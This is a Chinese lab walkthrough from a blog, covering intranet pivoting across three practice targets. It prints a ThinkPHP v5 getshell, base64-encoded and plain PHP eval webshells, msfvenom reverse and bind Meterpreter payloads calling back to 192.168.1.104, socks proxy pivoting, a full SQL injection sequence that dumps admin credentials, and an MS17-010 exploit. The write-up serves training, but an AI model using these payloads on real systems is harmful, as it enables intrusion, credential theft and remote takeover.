工作組內網滲透

淺易深發表於2022-02-07

工作組內網滲透

  • 本文章旨在捋一遍內網滲透的大致流程思路。

1. 內網網路拓撲

01_內網拓撲

2. 實戰

  1. 首先我們使用nmap掃描一下target1的埠
    • nmap -T4 -O 192.168.1.107
    • 通過掃描結果可以看到,target1開啟了ftp服務/21,ssh服務/22,web服務/80,mysql服務/3306,寶塔/8888
      02_nmap掃描
  2. 既然開啟了web服務,那麼我們就先訪問一下target1所搭建的網站
    • 發現使用的是thinkphp v5來搭建的。
      03-thinkPhp v5
  3. 而這個版本是存在漏洞的,我們可以直接使用exp來getshell
    • 如圖:
      04-thinkPhp v5 getshell

    • 但是當我們訪問shell.php的時候發現訪問失敗
      05_寫入失敗

    • cat 一下我們寫的shell,發現字串 "$_POST" 被過濾掉了
      06_cat一下

    • 那我們便進行繞過,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
      07_繞過

    • 接下來我們使用蟻劍進行連線
      08_蟻劍連線

  4. 使用蟻劍的虛擬終端,檢視一下當前的許可權以及linux版本
    • 可以看到,當前使用者為 www使用者(低許可權),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
      09_資訊蒐集
  5. 接下來我們上傳一個msf的馬並連線,以便進一步滲透
    • 生成一個linux的馬:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf
    • 上傳,並賦予執行許可權,執行
      10_生成木馬上傳
      11_生成木馬賦予許可權並執行

    • 使用msf設定一個監聽器,用以連線木馬
    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp 
    set lhost 192.168.1.104
    set lport 6666
    exploit
    • 由下圖可看出,木馬連線成功
      12_連線木馬
  6. 接下來我們查詢一下與target1連線的內網網段有哪些,並將這些網段新增進路由並掛上代理以便進行內網滲透
    • 所要使用的命令
    run get_local_subnets     //檢視與target1所連的內網網段有哪些
    run autoroute -s 192.168.22.0/24 //將該內網網段新增進路由
    run autoroute -p          //用於檢視路由是否新增成功
    background                //將當前的會話掛起
    
    search socks              //接下來開始掛socks代理
    use auxiliary/server/socks_proxy
    set VERSION 4a            //選擇版本4a,5好像有問題
    set SRVHOST 192.168.1.104 //ip設定為kali ip
    exploit

    13_新增路由 掛socks代理

    • 接下來我們要修改一下代理軟體proxychains的配置檔案:/etc/proxychains4.conf。在配置檔案最後一行加上:socks4 192.168.1.104 1080
    • 當我們修改完配置檔案之後,如果想要讓我們的工具走代理的話,就需要在命令前加上:proxychains
      14_修改配置檔案

    • 至此,代理搭建完畢
  7. 接下來我們要蒐集內網資訊以便進行內網滲透
    • 所使用的命令
    sessions -i 1
    arp -a
    proxychains nmap -Pn -sT 192.168.22.129 //掃描target2的埠

    15_探測target2

  8. 接下來我們來訪問target2所搭建的網站
    • 如果你想在kali中開啟火狐訪問的話,需要輸入命令:proxychains firefox通過這條命令開啟的火狐是通過軟體proxychains走代理的,然後直接訪問ip:192.168.22.129 即可(如果不加代理的話,由於target2屬於內網且與kali不屬於同一網段,我們是訪問不到web的)。
    • 但是我這裡想要使用物理機(本機)進行訪問,於是要用到另一款代理軟體:socksCap64。代理軟體socksCap64的配置方法如下:(其實這裡你也完全可以使用火狐自帶的代理 - 就像使用brup那樣的配置方法)
      16_sockscap配置

    • 訪問target2的web服務,由於我們掛了代理,所以直接輸入target2的內網ip即可
      17_訪問target2

    • 檢視一下網站的原始碼,發現最下方靶場給出了提示:存在sql注入
      18_檢視target2的網頁原始碼

  9. 利用sql注入拿下target2網站的賬號密碼
    • 接下來,我將使用到payload全部總結到下面,注入結果和說明我將一併放進一張圖中(放大即可看清)
    • payload:
    ?r=vul&keyword=1'
    ?r=vul&keyword=1'%23
    ?r=vul&keyword=1' order by 39 %23
    ?r=vul&keyword=1' union select  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23
    ?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23
    ?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23
    ?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23
    ?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23

    19_sql注入流程

    • 將 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。
    • 賬號密碼拿到手了,接下來我們就需要找網站的後臺了,一般而言像這種較為成熟的cms都會存在robots.txt檔案,我們可以通過該檔案找到後臺20_找網站後臺

    • 使用我們注入得到的賬號成功登陸
      21_登入後臺

  10. 向target2的網站中寫一句話使用蟻劍連線,並向該伺服器中上傳正向連線的木馬並使用msf監聽
    • 模板 -> header.php -> 編輯 -> <?php @eval($_POST['cmd'])?>
      22_target2寫shell

    • 使用蟻劍進行連線(同理:由於target2屬於內網主機,我們仍要使用socksCap64代理軟體開啟 蟻劍 來連線一句話)
      23_連線target2的shell

    • 果然不出我所料,就知道target2要給我找點麻煩。
    • 沒辦法,百度唄。最終在這個討論區中找到解決方法:https://github.com/AntSwordProject/antSword/issues/243,
    • 說是因為寶塔的緣故,導致連線被重置了,解決方法:嘗試在header加上 Connection:keep-alive
      24_連線target2的shell

    • 通過蟻劍進入虛擬終端,看一下target2的系統版本,當前使用者許可權
      25_看target2資訊

    • 接下來生成一個linux的馬:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf
      • 注意:這裡我們生成的是 正向連線 的馬(因為target2在內網,與kali不處於同一個網段,所以target2是主動訪問不了kali的。但是由於kali掛了代理,是可以主動訪問target2的,即target2 ping不通kali,而kali ping得通target2)
    • kali設定監聽、上線
      ~~~
      proxychains msfconsole //注意:這裡我們要使用proxychains來開啟msf
      use exploit/multi/handler
      set payload linux/x64/meterpreter/bind_tcp
      set rhost 192.168.22.129 //因為我們使用了代理來開啟msf,所以這裡直接填target2的內網私有ip即可
      set lport 12345
      exploit
      ~~~
      26_上線target2

  11. 檢視與target2所連的還有哪些網段,並將該網段新增進路由
    • 所需命令:
      ~~~
      run get_local_subnets
      run autoroute -s 192.168.33.0/24
      run autoroute -p
      ~~~
      27_將33網段新增進路由
    • 由於之前已經設定過socks4a了,所以這次不需要重複設定了
  12. 對target3進行資訊蒐集,並上線
    • 接下來進入target2的meterpreter會話,執行命令:arp -a,檢視與target2相連的活躍主機有哪些
    • 發現存在 192.168.33.129 這臺活躍主機(target3)
      28_target2 arp -a

    • 掃描一波target3:proxychains nmap -Pn -sT 192.168.33.129(記得加上proxychains)
    • 發現 445 埠開啟,且為windows主機,我們可以猜測存在 MS17_010漏洞,直接使用msf盲打,成功上線target3
      ~~~
      proxychains msfconsole
      use exploit/windows/smb/ms17_010_psexec
      set payload windows/meterpreter/bind_tcp
      set rhost 192.168.33.129
      exploit
      ~~~
      29_target3 MS17_010

  13. 再來一波程式遷移
    30_程式遷移

至此結束

相關文章